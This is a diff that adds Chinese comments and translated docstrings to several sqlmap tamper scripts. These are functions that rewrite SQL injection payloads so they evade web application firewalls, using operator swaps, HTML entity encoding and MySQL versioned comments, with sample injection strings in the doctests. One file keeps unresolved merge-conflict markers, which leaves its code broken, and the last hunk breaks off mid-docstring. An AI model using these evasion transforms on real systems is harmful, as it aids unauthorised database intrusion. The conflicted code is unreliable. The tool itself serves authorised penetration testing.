@ -5,12 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os import os # 导入操作系统模块,用于获取文件路径等信息
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数
from lib.core.enums import DBMS from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -18,23 +19,28 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart 这个函数用于篡改tamper输入的payload将MySQL中的'CONCAT(A, B)'函数替换为其等效的'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'形式
Requirement: 参数
* MySQL payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Tested against: 要求
* 仅适用于MySQL数据库
测试情况
* MySQL 5.0 * MySQL 5.0
Notes: 注意
* Useful to bypass very weak and bespoke web application firewalls * 这个篡改方法对于绕过那些过滤CONCAT()函数的非常弱的定制Web应用防火墙很有用
that filter the CONCAT() function
>>> tamper('CONCAT(1,2)') 示例
'CONCAT_WS(MID(CHAR(0),0,0),1,2)' >>> tamper('CONCAT(1,2)')
'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
""" """
if payload: if payload:
# 将payload中的'CONCAT('替换为'CONCAT_WS(MID(CHAR(0),0,0),'
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
return payload return payload

@ -5,8 +5,9 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为低
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
def dependencies(): def dependencies():
@ -14,19 +15,29 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
HTML encode in decimal (using code points) all characters (e.g. ' -> &#39;) 这个函数用于篡改tamper输入的payload将所有字符转换为HTML实体使用十进制代码点
>>> tamper("1' AND SLEEP(5)#") 参数
'&#49;&#39;&#32;&#65;&#78;&#68;&#32;&#83;&#76;&#69;&#69;&#80;&#40;&#53;&#41;&#35;' payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
- 遍历payload中的每个字符并将每个字符转换为其对应的HTML实体形式例如' -> &#39;)。
示例
>>> tamper("1' AND SLEEP(5)#")
'&#49;&#39;&#32;&#65;&#78;&#68;&#32;&#83;&#76;&#69;&#69;&#80;&#40;&#53;&#41;&#35;'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
retVal = "" retVal = "" # 初始化返回值字符串
i = 0 i = 0 # 初始化索引
# 遍历payload中的每个字符
while i < len(payload): while i < len(payload):
# 将当前字符转换为其对应的HTML实体形式并添加到返回值字符串
retVal += "&#%s;" % ord(payload[i]) retVal += "&#%s;" % ord(payload[i])
i += 1 i += 1

@ -5,13 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os import os # 导入操作系统模块,用于获取文件路径等信息
import re import re # 导入正则表达式模块
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数
from lib.core.enums import DBMS from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -19,16 +20,21 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces instances of <int> UNION with <int>DUNION 这个函数用于篡改tamper输入的payload将其中的'UNION'关键字替换为'DUNION'
Requirement: 参数
* Oracle payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Notes: 要求
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf * 仅适用于Oracle数据库
>>> tamper('1 UNION ALL SELECT') 注意
'1DUNION ALL SELECT' * 参考文档https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
"""
示例
>>> tamper('1 UNION ALL SELECT')
'1DUNION ALL SELECT'
"""
# 如果payload不为空使用正则表达式替换其中的UNION关键字
return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload

@ -7,8 +7,9 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -16,25 +17,29 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart 这个函数用于篡改tamper输入的payload将所有的等号'='操作符替换为'LIKE'操作符
Tested against: 参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* Microsoft SQL Server 2005 * Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5 * MySQL 4, 5.0 5.5
Notes: 注意
* Useful to bypass weak and bespoke web application firewalls that * 这个篡改方法对于绕过那些过滤等号'='字符的弱Web应用防火墙很有用
filter the equal character ('=') * LIKE操作符是SQL标准操作符因此这个tamper脚本应该适用于所有数据库
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('SELECT * FROM users WHERE id=1') 示例
'SELECT * FROM users WHERE id LIKE 1' >>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) # 使用正则表达式替换payload中的等号'=')为'LIKE'
return retVal return retVal

@ -7,8 +7,9 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -16,22 +17,30 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart 这个函数用于篡改tamper输入的payload将所有的等号'='操作符替换为'RLIKE'操作符
Tested against: 参数
* MySQL 4, 5.0 and 5.5 payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Notes: 测试情况
* Useful to bypass weak and bespoke web application firewalls that * MySQL 4, 5.0 5.5
filter the equal character ('=')
>>> tamper('SELECT * FROM users WHERE id=1') 注意
'SELECT * FROM users WHERE id RLIKE 1' * 这个篡改方法对于绕过那些过滤等号'='字符的弱Web应用防火墙很有用
示例
>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id RLIKE 1'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload:
# 使用正则表达式替换payload中的等号'=')为'RLIKE'
# \s* 匹配任意数量的空白字符包括0个
# = 匹配等号字符
# \s* 匹配等号后的任意数量的空白字符
retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal)
return retVal return retVal

@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
@ -14,10 +15,19 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Slash escape single and double quotes (e.g. ' -> \') 这个函数用于篡改tamper输入的payload通过斜杠转义单引号和双引号
>>> tamper('1" AND SLEEP(5)#') 参数
'1\\\\" AND SLEEP(5)#' payload要篡改的原始payload
""" **kwargs其他可选参数在本函数中未使用
功能
- 将payload中的单引号')替换为转义形式(\\'
- 将payload中的双引号")替换为转义形式(\\"
示例
>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
"""
# 替换payload中的单引号和双引号为它们的转义形式
return payload.replace("'", "\\'").replace('"', '\\"') return payload.replace("'", "\\'").replace('"', '\\"')

@ -7,8 +7,9 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -16,30 +17,36 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces greater than operator ('>') with 'GREATEST' counterpart 这个函数用于篡改tamper输入的payload将大于操作符'>')替换为'GREATEST'函数的等效形式
Tested against: 参数
* MySQL 4, 5.0 and 5.5 payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* MySQL 4, 5.0 5.5
* Oracle 10g * Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0 * PostgreSQL 8.3, 8.4, 9.0
Notes: 注意
* Useful to bypass weak and bespoke web application firewalls that * 这个篡改方法对于绕过那些过滤大于字符'>')的弱Web应用防火墙很有用
filter the greater than character * GREATEST函数是一个广泛使用的SQL命令因此这个tamper脚本应该适用于大多数数据库
* The GREATEST clause is a widespread SQL command. Hence, this
tamper script should work against majority of databases
>>> tamper('1 AND A > B') 示例
'1 AND GREATEST(A,B+1)=A' >>> tamper('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
# 使用正则表达式查找'A > B'形式的语句
match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload)
if match: if match: # 如果找到匹配项
# 构造GREATEST函数形式的语句并替换原语句
_ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3))
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _) # 替换原语句为GREATEST函数形式
return retVal return retVal

@ -8,12 +8,13 @@ See the file 'LICENSE' for copying permission
import os import os
import re import re
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数
from lib.core.data import kb from lib.core.data import kb # 从核心库导入知识库包含SQL关键字等信息
from lib.core.enums import DBMS from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS # 从核心设置导入忽略空格影响的关键字列表
# 设置优先级为较高
__priority__ = PRIORITY.HIGHER __priority__ = PRIORITY.HIGHER
def dependencies(): def dependencies():
@ -21,35 +22,44 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Adds (MySQL) versioned comment before each keyword 这个函数用于篡改tamper输入的payload通过在每个关键字前添加MySQL版本注释
Requirement: 参数
* MySQL < 5.1 payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Tested against: 要求
* 仅适用于MySQL版本小于5.1的数据库
测试情况
* MySQL 4.0.18, 5.0.22 * MySQL 4.0.18, 5.0.22
Notes: 注意
* Useful to bypass several web application firewalls when the * 这个篡改方法对于绕过Web应用防火墙很有用特别是当后端数据库管理系统是MySQL时
back-end database management system is MySQL * 在ModSecurity SQL注入挑战中使用过链接http://modsecurity.org/demo/challenge.html
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 示例
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
""" """
def process(match): def process(match):
"""
辅助函数用于处理正则匹配的结果
将匹配到的关键字替换为带有版本注释的关键字
"""
word = match.group('word') word = match.group('word')
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "/*!0%s" % word) return match.group().replace(word, "/*!0%s" % word)
else: else:
return match.group() return match.group()
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload:
# 使用正则表达式查找并替换关键字
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
# 替换多余的空格
retVal = retVal.replace(" /*!0", "/*!0") retVal = retVal.replace(" /*!0", "/*!0")
return retVal return retVal

@ -9,11 +9,12 @@ import os
import re import re
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.convert import decodeHex from lib.core.convert import decodeHex # 从核心库导入十六进制解码函数
from lib.core.convert import getOrds from lib.core.convert import getOrds # 从核心库导入获取字符ASCII值的函数
from lib.core.enums import DBMS from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
@ -21,29 +22,37 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart 这个函数用于篡改tamper输入的payload将每个MySQL的0x<hex>编码字符串替换为其等效的CONCAT(CHAR(),...)形式
Requirement: 参数
* MySQL payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Tested against: 要求
* MySQL 4, 5.0 and 5.5 * 仅适用于MySQL数据库
Notes: 测试情况
* Useful in cases when web application does the upper casing * MySQL 4, 5.0 5.5
>>> tamper('SELECT 0xdeadbeef') 注意
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' * 当Web应用程序执行大写转换时这个篡改方法很有用
示例
>>> tamper('SELECT 0xdeadbeef')
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
# 遍历payload中所有匹配0x<hex>模式的字符串
for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal):
if len(match.group(1)) > 2: if len(match.group(1)) > 2: # 如果匹配的十六进制字符串长度大于2
# 将十六进制字符串解码为ASCII值并构造CONCAT(CHAR(),...)形式的字符串
result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1))))
else: else: # 如果长度不超过2直接构造CHAR()形式的字符串
result = "CHAR(%d)" % ord(decodeHex(match.group(1))) result = "CHAR(%d)" % ord(decodeHex(match.group(1)))
# 将原0x<hex>字符串替换为新构造的字符串
retVal = retVal.replace(match.group(0), result) retVal = retVal.replace(match.group(0), result)
return retVal return retVal

@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置优先级为低
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
def dependencies(): def dependencies():
@ -14,20 +15,29 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
HTML encode in hexadecimal (using code points) all characters (e.g. ' -> &#x31;) 这个函数用于篡改tamper输入的payload将所有字符转换为十六进制形式的HTML实体编码例如' -> &#x31;)。
>>> tamper("1' AND SLEEP(5)#") 参数
'&#x31;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x53;&#x4c;&#x45;&#x45;&#x50;&#x28;&#x35;&#x29;&#x23;' payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
- 遍历payload中的每个字符并将每个字符转换为其对应的十六进制HTML实体形式
示例
>>> tamper("1' AND SLEEP(5)#")
'&#x31;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x53;&#x4c;&#x45;&#x45;&#x50;&#x28;&#x35;&#x29;&#x23;'
""" """
retVal = payload retVal = payload
if payload: if payload:
retVal = "" retVal = "" # 初始化返回值字符串
i = 0 i = 0 # 初始化索引
while i < len(payload): while i < len(payload):
# 将当前字符转换为其对应的十六进制HTML实体形式并添加到返回值字符串
retVal += "&#x%s;" % format(ord(payload[i]), "x") retVal += "&#x%s;" % format(ord(payload[i]), "x")
i += 1 i += 1 # 移动索引,处理下一个字符
return retVal return retVal

@ -7,8 +7,9 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为低
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
def dependencies(): def dependencies():
@ -16,16 +17,26 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;) 这个函数用于篡改tamper输入的payload将所有非字母数字字符转换为HTML实体编码使用代码点
>>> tamper("1' AND SLEEP(5)#") 参数
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;' payload要篡改的原始payload
>>> tamper("1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;") **kwargs其他可选参数在本函数中未使用
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'
功能
- 遍历payload中的每个字符并将非字母数字字符转换为其对应的HTML实体形式
示例
>>> tamper("1' AND SLEEP(5)#")
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'
>>> tamper("1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;")
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'
""" """
if payload: if payload: # 如果payload不为空
# 替换已经编码的HTML实体
payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203
# 将非字母数字字符转换为HTML实体编码
payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload)
return payload return payload

@ -5,67 +5,126 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.compat import xrange <<<<<<< HEAD
from lib.core.enums import PRIORITY from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.settings import REPLACEMENT_MARKER from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
from lib.core.settings import REPLACEMENT_MARKER # 从核心设置导入替换标记
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
=======
from lib.core.compat import xrange # 用于兼容Python 2和3的range函数
from lib.core.enums import PRIORITY # 导入优先级枚举
from lib.core.settings import REPLACEMENT_MARKER # 导入替换标记
__priority__ = PRIORITY.HIGHEST # 设置优先级为最高
>>>>>>> b2880b499320c050bf54d2910d89b1f5c9c1109f
def dependencies(): def dependencies():
"""此函数用于定义此tamper函数的依赖项。当前实现为空根据需要可以添加具体的依赖项"""
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart <<<<<<< HEAD
这个函数用于篡改tamper输入的payload'IF(A, B, C)'语句替换为其等效的'CASE WHEN (A) THEN (B) ELSE (C) END'形式
Requirement: =======
* MySQL 替换IF条件表达式为CASE表达式
* SQLite (possibly) >>>>>>> b2880b499320c050bf54d2910d89b1f5c9c1109f
* SAP MaxDB (possibly)
参数
Tested against: payload要篡改的原始payload
* MySQL 5.0 and 5.5 **kwargs其他可选参数在本函数中未使用
要求
* 适用于MySQLSQLite可能和SAP MaxDB可能数据库
<<<<<<< HEAD
测试情况
* MySQL 5.0 5.5
注意
* 这个篡改方法对于绕过那些过滤IF()函数的非常弱的定制Web应用防火墙很有用
示例
>>> tamper('IF(1, 2, 3)')
'CASE WHEN (1) THEN (2) ELSE (3) END'
=======
Notes: Notes:
* Useful to bypass very weak and bespoke web application firewalls * 适用于绕过非常弱且定制的web应用程序防火墙该防火墙过滤了IF()函数
that filter the IF() functions
>>> tamper('IF(1, 2, 3)') Examples:
'CASE WHEN (1) THEN (2) ELSE (3) END' >>> tamper('IF(1, 2, 3)')
>>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') 'CASE WHEN (1) THEN (2) ELSE (3) END'
'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
>>>>>>> b2880b499320c050bf54d2910d89b1f5c9c1109f
>>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)')
'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
""" """
if payload and payload.find("IF") > -1: <<<<<<< HEAD
payload = payload.replace("()", REPLACEMENT_MARKER) if payload and payload.find("IF") > -1: # 如果payload不为空且包含'IF'
while payload.find("IF(") > -1: payload = payload.replace("()", REPLACEMENT_MARKER) # 替换空括号为替换标记
index = payload.find("IF(") while payload.find("IF(") > -1: # 遍历所有'IF'语句
depth = 1 index = payload.find("IF(") # 找到'IF'的位置
commas, end = [], None depth = 1 # 初始化括号深度
commas, end = [], None # 初始化逗号位置列表和结束位置
# 遍历payload以找到'IF'语句的结束位置
for i in xrange(index + len("IF("), len(payload)): for i in xrange(index + len("IF("), len(payload)):
if depth == 1 and payload[i] == ',': if depth == 1 and payload[i] == ',':
commas.append(i) commas.append(i) # 记录逗号位置
elif depth == 1 and payload[i] == ')': elif depth == 1 and payload[i] == ')':
end = i end = i # 记录结束位置
break break
elif payload[i] == '(': elif payload[i] == '(':
depth += 1 depth += 1 # 增加括号深度
elif payload[i] == ')': elif payload[i] == ')':
depth -= 1 depth -= 1
# 如果找到两个逗号且有结束位置,则进行替换
if len(commas) == 2 and end: if len(commas) == 2 and end:
a = payload[index + len("IF("):commas[0]].strip("()") a = payload[index + len("IF("):commas[0]].strip("()") # 提取条件A
b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") # 提取结果B
c = payload[commas[1] + 1:end].lstrip().strip("()") c = payload[commas[1] + 1:end].lstrip().strip("()") # 提取结果C
newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) # 构造新的CASE语句
payload = payload[:index] + newVal + payload[end + 1:] payload = payload[:index] + newVal + payload[end + 1:] # 替换原IF语句
else:
break # 如果不符合条件,则终止循环
payload = payload.replace(REPLACEMENT_MARKER, "()") # 恢复替换标记为空括号
=======
if payload and payload.find("IF") > -1: # 检查payload是否包含IF
payload = payload.replace("()", REPLACEMENT_MARKER) # 替换空的()为REPLACEMENT_MARKER
while payload.find("IF(") > -1: # 检查payload中是否还包含IF(
index = payload.find("IF(") # 找到IF(的位置
depth = 1 # 初始化深度计数器
commas, end = [], None # 初始化逗号列表和结束位置
for i in xrange(index + len("IF("), len(payload)): # 遍历IF(后的子串
if depth == 1 and payload[i] == ',': # 如果深度为1且遇到逗号
commas.append(i) # 记录逗号位置
elif depth == 1 and payload[i] == ')': # 如果深度为1且遇到右括号
end = i # 记录结束位置
break # 结束循环
elif payload[i] == '(': # 如果遇到左括号
depth += 1 # 增加深度
elif payload[i] == ')': # 如果遇到右括号
depth -= 1 # 减少深度
if len(commas) == 2 and end: # 如果有2个逗号并且有结束位置
a = payload[index + len("IF("):commas[0]].strip("()") # 提取第一个参数
b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") # 提取第二个参数
c = payload[commas[1] + 1:end].lstrip().strip("()") # 提取第三个参数
newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) # 构造CASE表达式
payload = payload[:index] + newVal + payload[end + 1:] # 替换IF()为CASE
else: else:
break break # 如果不符合条件,跳出循环
payload = payload.replace(REPLACEMENT_MARKER, "()") payload = payload.replace(REPLACEMENT_MARKER, "()") # 将REPLACEMENT_MARKER替换回(),防止影响其他部分
>>>>>>> b2880b499320c050bf54d2910d89b1f5c9c1109f
return payload return payload

@ -5,9 +5,10 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.compat import xrange from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -33,32 +34,35 @@ def tamper(payload, **kwargs):
'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
""" """
if payload and payload.find("IFNULL") > -1: if payload and payload.find("IFNULL") > -1: # 如果payload不为空且包含'IFNULL'
while payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: # 遍历所有'IFNULL'语句
index = payload.find("IFNULL(") index = payload.find("IFNULL(") # 找到'IFNULL'的位置
depth = 1 depth = 1 # 初始化括号深度
comma, end = None, None comma, end = None, None # 初始化逗号位置和结束位置
# 遍历payload以找到'IFNULL'语句的结束位置
for i in xrange(index + len("IFNULL("), len(payload)): for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',': if depth == 1 and payload[i] == ',':
comma = i comma = i # 记录逗号位置
elif depth == 1 and payload[i] == ')': elif depth == 1 and payload[i] == ')':
end = i end = i # 记录结束位置
break break
elif payload[i] == '(': elif payload[i] == '(':
depth += 1 depth += 1 # 增加括号深度
elif payload[i] == ')': elif payload[i] == ')':
depth -= 1 depth -= 1 # 减少括号深度
# 如果找到逗号和结束位置,则进行替换
if comma and end: if comma and end:
_ = payload[index + len("IFNULL("):comma] _ = payload[index + len("IFNULL("):comma] # 提取参数A
__ = payload[comma + 1:end].lstrip() __ = payload[comma + 1:end].lstrip() # 提取参数B
newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) # 构造新的CASE语句
payload = payload[:index] + newVal + payload[end + 1:] payload = payload[:index] + newVal + payload[end + 1:] # 替换原IFNULL语句
else: else:
break break # 如果不符合条件,则终止循环
return payload return payload

@ -5,9 +5,9 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.compat import xrange from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
@ -15,49 +15,53 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
